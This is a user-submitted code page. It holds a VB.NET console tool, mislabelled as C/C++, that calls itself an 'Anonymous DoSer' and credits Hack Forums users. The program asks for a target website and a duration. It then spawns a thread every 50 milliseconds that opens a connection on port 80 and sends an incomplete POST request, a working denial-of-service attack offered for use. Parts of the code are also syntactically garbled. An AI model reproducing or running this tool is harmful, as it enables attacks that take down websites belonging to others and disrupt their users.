Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  teste
Language: C/C++
Code:
Private Shared Sub Main(ByVal args As String()) 
    Console.ForegroundColor = ConsoleColor.Yellow 
    Console.WriteLine(ChrW(10) & "             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10)) 
    Console.WriteLine("                   Anonymous Doxer Created by 1337 Haxxor On HF") 
    Console.WriteLine("                     Original Source created by van1lle on HF") 
    Console.WriteLine("                  Need any help or having problems? PM me on HF!" & ChrW(10)) 
    Console.WriteLine("             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10)) 
    Console.ForegroundColor = ConsoleColor.Magenta 
    Console.Write("Website [URL/IP] : ") 
    Dim website As String = Console.ReadLine 
    Console.Write("Time [SECONDS] : ") 
    Dim s As String = Console.ReadLine 
    Console.Write(ChrW(10)) 
    Dim count As Integer = 1 
    Dim loop As Boolean = True 
    New Thread(Function 
        Dim start As ThreadStart = Nothing 
        Dim clients As New List(Of TcpClient)() 
        Do While [loop] 
            If (start Is Nothing) Then 
                start = Function 
                    Dim item As New TcpClient() 
                    clients.Add(item) 
                    Try 
                        item.Connect(website, 80) 
                        Dim writer As New StreamWriter(item.GetStream) 
                        writer.Write(("POST / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & website & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10))) 
                        writer.Flush 
                        If [loop] Then 
                            Console.ForegroundColor = ConsoleColor.Green 
                        End If 
                        Console.WriteLine(("Server Is Up / Packets sent: " & count)) 
                        count += 1 
                    Catch exception1 As Exception 
                        If [loop] Then 
                            Console.ForegroundColor = ConsoleColor.Red 
                        End If 
                        Console.WriteLine("DoS Succeeded, Server Down!") 
                    End Try 
                End Function 
            End If 
            New Thread(start).Start 
            Thread.Sleep(50) 
        Loop 
        Dim client As TcpClient 
        For Each client In clients 
            Try 
                client.GetStream.Dispose 
            Catch exception1 As Exception 
            End Try 
        Next 
    End Function).Start 
    Thread.Sleep(CInt((Integer.Parse(s) * &H3E8))) 
    [loop] = False 
    Console.WriteLine(ChrW(10) & "DoS Completed") 
    Console.WriteLine("Press any key to Close...") 
    Console.ReadKey 
End Sub 
          
          
          
Comments: